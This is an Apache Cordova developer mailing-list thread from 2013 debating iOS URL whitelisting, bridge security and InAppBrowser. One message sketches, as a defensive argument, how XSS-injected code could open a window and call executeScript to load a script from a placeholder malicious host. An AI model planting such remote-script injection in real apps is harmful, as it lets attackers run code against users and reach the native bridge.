You're right, it only looks at the host right now. We could change that though.
On Mon, Apr 15, 2013 at 9:11 PM, Kevin Hawkins < kevin.hawkins.cord...@gmail.com> wrote: > Thanks Andrew. Content filtering may be a way to go, if that's possible. > Is granular pattern-based whitelisting available in iOS? I thought it > only went down to the host pattern level. > > Cheers, > Kevin > > > > On Mon, Apr 15, 2013 at 4:52 PM, Andrew Grieve <agri...@chromium.org> > wrote: > > > Sounds like CSP (content security policy) will fill your needs, but we'll > > have to wait for webviews to support it. > > > > So, it sounds like this applies to hosted web apps only? E.g., if this > was > > a file:// based app, you would want to bundle icons with your app. > > > > Would pattern-based white-list not cover your use-case? e.g. > > gstatic.google.com/*.png > > > > It actually would be feasible to implement content filtering on a > mime-type > > basis on iOS & Android 3.0+, but I'm not about to volunteer :P > > > > > > > > On Mon, Apr 15, 2013 at 6:49 PM, Kevin Hawkins < > > kevin.hawkins.cord...@gmail.com> wrote: > > > > > The biggest issue we have with the current whitelisting in iOS, which I > > do > > > consider overreaching, is that it applies to every class of request > that > > > comes out of the Cordova web view. This is most problematic with > images. > > > I can't include stock service provider icons from e.g. twitter.com or > > > facebook.com, static map images from google.com, etc., because I can't > > > also > > > trust those sites to be allowed unfettered access to the bridge. I.e. > I > > > can't whitelist them, because the definition of their security class is > > > overly broad, such that I have to apply the rules of a high level of > > trust > > > to a low level of risk. Same would hold true for stylesheets, for > > example. > > > > > > It puts us in the unfortunate position of having to choose to either > have > > > apps devoid of the rich content available from third parties, apps that > > are > > > at least partially broken between Cordova vs. straight web (broken > image > > > links, etc.), or no Cordova version of the apps at all (because we > can't > > > budge on the pieces that absolutely have to be secured). > > > > > > Cheers, > > > Kevin > > > > > > > > > > > > > > > On Mon, Apr 15, 2013 at 1:52 PM, Shazron <shaz...@gmail.com> wrote: > > > > > > > For the overlay thing, at least for iOS if we have a new window > option > > > for > > > > "toolbar=[yes|no]" this would have almost the desired effect, if we > > take > > > > out the animation. > > > > > > > > > > > > On Mon, Apr 15, 2013 at 1:44 PM, Andrew Grieve <agri...@chromium.org > > > > > > wrote: > > > > > > > > > Kevin - the iOS CDVURLProtocol was changed (2.5ish) to only filter > > > > requests > > > > > from Cordova WebViews. I'd be interested in hearing if you still > > think > > > > it's > > > > > over-reaching. > > > > > > > > > > I think the only real way to protect your app is to not have any > > > > > third-party scripts in it. We have an outstanding issue to create a > > > guide > > > > > for this: > > > > > > > > > > https://issues.apache.org/jira/browse/CB-2179 > > > > > > > > > > > > > > > Would using InAppBrowser suite your need for handling third-party > > > > content? > > > > > E.g. What if we made a mode for IAB where it overlays the page > (like > > an > > > > > iframe) instead of completely covering it? > > > > > > > > > > > > > > > > > > > > > > > > > On Thu, Apr 11, 2013 at 2:39 PM, Shravan Narayan < > > shrava...@google.com > > > > > >wrote: > > > > > > > > > > > Hi, > > > > > > My name is Shravan - I am an intern at Google working on the > > Cordova > > > > App > > > > > > Harness (tool to test Cordova Apps). > > > > > > > > > > > > Something that I noticed while starting work on the App Harness. > > The > > > > new > > > > > > executeScript method allows injection of arbitrary pieces of > > > javascript > > > > > in > > > > > > the InAppBrowsers opened with "window.open". This script runs in > > > > context > > > > > of > > > > > > the page loaded in the InAppBrowser. Whitelists might be still > > > required > > > > > in > > > > > > this scenario. > > > > > > > > > > > > *Quick example* > > > > > > Consider the scenario that there are no whitelists in the > > platforms. > > > > Any > > > > > > cordova app which is vulnerable to XSS attacks, can have the > > > following > > > > > code > > > > > > injected into them. > > > > > > > > > > > > *w = window.open(" > > www.site_that_your_app_normally_doesnt_access.com > > > ", > > > > > > "_blank");* > > > > > > *w.executeScript({ file: "some_** malicious**_ > > site.com/malicious.js > > > > "}); > > > > > > * > > > > > > * > > > > > > * > > > > > > Thus they can open any website and inject any js file from any > > > > location. > > > > > > Whereas with whitelists the js file's domain "*some_** > malicious**_ > > > > > > site.com" > > > > > > * would probably not be a part of the whitelist. > > > > > > > > > > > > *Small caveat: *The executeScript does have means to inject code > > > > directly > > > > > > as well with *w.executeScript({code:"(function() > {alert("Hello");}) > > > > > ();"}) > > > > > > *but > > > > > > that may require a different solution not pertaining to this > > > > discussion. > > > > > > > > > > > > I don't know if this is a reason to keep the whitelists around > but > > > > > thought > > > > > > I'd mention it. > > > > > > > > > > > > Shravan > > > > > > > > > > > > > > > > > > On Wed, Apr 10, 2013 at 8:29 PM, Shazron <shaz...@gmail.com> > > wrote: > > > > > > > > > > > > > Also the whitelist might be important for plugins. > Specifically, > > > > people > > > > > > > that need to install plugins have a promise of what external > > > > locations > > > > > > are > > > > > > > being accessed. > > > > > > > > > > > > > > However, right now all iOS plugins bypass the whitelist because > > of > > > > our > > > > > > > User-Agent method, and that needs to be rectified before this > > > > "promise" > > > > > > is > > > > > > > true. > > > > > > > > > > > > > > Certain resources bypass the whitelist anyway because we have > no > > > way > > > > to > > > > > > > control them at the moment (audio/video tags): > > > > > > > https://issues.apache.org/jira/browse/CB-2451 > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > On Wed, Apr 10, 2013 at 5:22 PM, Shazron <shaz...@gmail.com> > > > wrote: > > > > > > > > > > > > > > > Ideally we would have a WebPolicyDelegate like OS X > > > > > > > > (webView:decidePolicyForMIMEType:): > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html > > > > > > > > > > > > > > > > ...where we can have some granularity - I'm not sure we can > > yet. > > > If > > > > > so, > > > > > > > we > > > > > > > > can defer to the app developer whether certain things like > > images > > > > can > > > > > > be > > > > > > > > let through - for example in MainViewController, you can set > > your > > > > own > > > > > > > > WebPolicyDelegate. We would allow images through by default. > > > > > > > > > > > > > > > > I'm not sure of "letting the fox in the hen-house" (allow > > > > everything) > > > > > > > then > > > > > > > > trying to guard against attacks (hens with shotguns?), this > is > > > > > > JavaScript > > > > > > > > after all. I'm interested however in how your gatekeeper > > concept > > > > > works > > > > > > to > > > > > > > > help with this since allowing an external URL location does > not > > > > > protect > > > > > > > > from this attach (think of the situation if the external host > > was > > > > > > hacked, > > > > > > > > and contained JS that attacks/intercepts our bridge). > > > > > > > > > > > > > > > > With the default wildcard in new projects, like others here > > have > > > > > > > > mentioned, the whitelist is effectively turned off, and 99% > of > > > devs > > > > > > won't > > > > > > > > care to restrict the whitelist. > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson < > > > > > > bra...@chromium.org > > > > > > > >wrote: > > > > > > > > > > > > > > > >> Especially since permissions, on platforms that have such a > > > > notion, > > > > > > will > > > > > > > >> be > > > > > > > >> (eventually...) controlled by installing those plugins. So > you > > > can > > > > > > lean > > > > > > > on > > > > > > > >> the platform to block access to contacts as well. Even on > > > > platforms > > > > > > > >> without > > > > > > > >> such permissions control, if we don't load the > > > contacts-retrieval > > > > > > native > > > > > > > >> code, then the JS can't get at it. > > > > > > > >> > > > > > > > >> Braden > > > > > > > >> > > > > > > > >> > > > > > > > >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse < > > purplecabb...@gmail.com > > > > > > > > > > wrote: > > > > > > > >> > > > > > > > >> > I am completely in favor of removing whitelisting as well. > > I > > > > > > believe > > > > > > > it > > > > > > > >> > gives developers a false sense of security. > > > > > > > >> > imho the only sure way to protect access to the bridge is > to > > > > only > > > > > > ever > > > > > > > >> load > > > > > > > >> > code that you control. We should be pushing developers > > towards > > > > > > > >> > best-practices. > > > > > > > >> > > > > > > > > >> > Some of the whitelist stuff should become redundant when > we > > > have > > > > > > > things > > > > > > > >> > like the Contact API moved into plugins. ie. You can be > > > > > absolutely > > > > > > > >> certain > > > > > > > >> > that no JS code is accessing the device's contacts if you > do > > > not > > > > > > > include > > > > > > > >> > the native pieces of the Contact API. > > > > > > > >> > > > > > > > > >> > @purplecabbage > > > > > > > >> > risingj.com > > > > > > > >> > > > > > > > > >> > > > > > > > > >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux <b...@brian.io > > > > > > wrote: > > > > > > > >> > > > > > > > > >> > > We recently moved to * by default to ease common > userland > > > woe. > > > > > I'd > > > > > > > be > > > > > > > >> in > > > > > > > >> > > favor of removal of whitelisting but I'm fairly certain > > that > > > > > would > > > > > > > be > > > > > > > >> > > a controversial position! > > > > > > > >> > > > > > > > > > >> > > > > > > > > > >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins < > > > > > > > >> > > kevin.hawkins.cord...@gmail.com> wrote: > > > > > > > >> > > > > > > > > > >> > > > Hey all, > > > > > > > >> > > > > > > > > > > >> > > > Those of us who have been on the implementing and/or > > > serious > > > > > > > >> > consumption > > > > > > > >> > > > side of whitelisting for iOS—I've been on both at one > > time > > > > or > > > > > > > >> > > another—know > > > > > > > >> > > > how much work has gone into trying to make it a > > > > full-featured > > > > > > > >> security > > > > > > > >> > > > subsystem for the iOS version of the framework. I > want > > to > > > > > share > > > > > > > >> some > > > > > > > >> > > > feedback based on my organization's experiences in > > > > > > implementation, > > > > > > > >> and > > > > > > > >> > > > hopefully spark some discussion about the future of > > > > > whitelisting > > > > > > > on > > > > > > > >> iOS > > > > > > > >> > > > (and maybe the platform as a whole). > > > > > > > >> > > > > > > > > > > >> > > > We're essentially running into insurmountable issues > > with > > > > > > > >> whitelisting > > > > > > > >> > > for > > > > > > > >> > > > the use cases we're attempting, based on the overreach > > of > > > > the > > > > > > > >> > > NSURLProtocol > > > > > > > >> > > > approach to whitelist handling. I say overreach > > because, > > > in > > > > > an > > > > > > > >> ideal > > > > > > > >> > > > world, Cordova should only ever care about > safeguarding > > > > > traffic > > > > > > > >> > destined > > > > > > > >> > > to > > > > > > > >> > > > go through the hybrid/native bridge. This argument > can > > be > > > > > made > > > > > > > for > > > > > > > >> all > > > > > > > >> > > > platforms, but the lack of granularity is most > onerously > > > > > > > >> overbearing on > > > > > > > >> > > > iOS, which filters every HTTP(S) packet that goes > > through > > > > the > > > > > > app. > > > > > > > >> > > > > > > > > > > >> > > > Our requirements are very strict with regard to what's > > > > > > whitelisted > > > > > > > >> to > > > > > > > >> > go > > > > > > > >> > > > through the bridge. But the bridge is conceptually > the > > > only > > > > > > thing > > > > > > > >> we > > > > > > > >> > > care > > > > > > > >> > > > about, within that particular sphere of security. We > > > have a > > > > > > more > > > > > > > >> > relaxed > > > > > > > >> > > > sphere of security for, say, <img src=" > > > > http://maps.google.com > > > > > " > > > > > > > />, > > > > > > > >> as > > > > > > > >> > > the > > > > > > > >> > > > threat vectors exposed through image rendering are > > > > > considerably > > > > > > > less > > > > > > > >> > than > > > > > > > >> > > > malicious injected bridge code. > > > > > > > >> > > > > > > > > > > >> > > > Alas, we don't—and arguably never will—have that kind > of > > > > > > granular > > > > > > > >> > control > > > > > > > >> > > > in iOS, with the current implementation approach. > > > > > NSURLProtocol > > > > > > > is > > > > > > > >> > > simply > > > > > > > >> > > > too broad-brush to meld into a granular approach for > > > > > > whitelisting. > > > > > > > >> The > > > > > > > >> > > end > > > > > > > >> > > > result is that we lose the ability to deliver a rich > > > content > > > > > > > >> experience > > > > > > > >> > > > that leverages third party artifacts, because we're > > forced > > > > to > > > > > go > > > > > > > >> with > > > > > > > >> > the > > > > > > > >> > > > sphere of security that gives us the highest scrutiny, > > > > across > > > > > > the > > > > > > > >> > board. > > > > > > > >> > > > > > > > > > > >> > > > We've been considering (very early phase) some > > alternative > > > > > > > >> approaches > > > > > > > >> > to > > > > > > > >> > > > managing whitelisting. Our current thinking has been > > > > focusing > > > > > > on > > > > > > > a > > > > > > > >> > > > gatekeeper (on the native side) to the bridge itself. > > > This > > > > > > would > > > > > > > >> > enforce > > > > > > > >> > > > some sort of contract between the hybrid and native > > side, > > > to > > > > > > make > > > > > > > a > > > > > > > >> > > > determination of which traffic is authorized to > > > specifically > > > > > go > > > > > > > >> through > > > > > > > >> > > the > > > > > > > >> > > > bridge. I'm not sure what that contract looks like at > > > this > > > > > > point, > > > > > > > >> but > > > > > > > >> > > > enforcement would be bridge-specific, and all other > > > webview > > > > > > > traffic > > > > > > > >> > would > > > > > > > >> > > > otherwise behave as it would in a normal web > > application. > > > > > > > >> > > > > > > > > > > >> > > > I know from past discussions that many (most?) Cordova > > > > > > developers > > > > > > > >> don't > > > > > > > >> > > > generally use the whitelist, since their security > > concerns > > > > may > > > > > > not > > > > > > > >> be > > > > > > > >> > as > > > > > > > >> > > > great, and/or they exclusively host their app > > > functionality > > > > > > > locally > > > > > > > >> to > > > > > > > >> > > the > > > > > > > >> > > > device, which allows them to essentially implement > their > > > own > > > > > > > >> controls > > > > > > > >> > on > > > > > > > >> > > > attack vectors through selective app content. In our > > > case, > > > > > > we're > > > > > > > >> > > building > > > > > > > >> > > > an enterprise platform where content could come from > any > > > > > number > > > > > > of > > > > > > > >> > > sources. > > > > > > > >> > > > And whitelisting controls are not working for us. > > > > > > > >> > > > > > > > > > > >> > > > If there's a future for whitelisting in Cordova 3.0, I > > > > > > personally > > > > > > > >> feel > > > > > > > >> > > that > > > > > > > >> > > > it needs to be revisited. I'd be interested to hear > > > > thoughts > > > > > > from > > > > > > > >> > others > > > > > > > >> > > > on their usage patterns, and responses to my concerns. > > > > > > > >> > > > > > > > > > > >> > > > Cheers, > > > > > > > >> > > > Kevin > > > > > > > >> > > > > > > > > > > >> > > > > > > > > > >> > > > > > > > > >> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > >
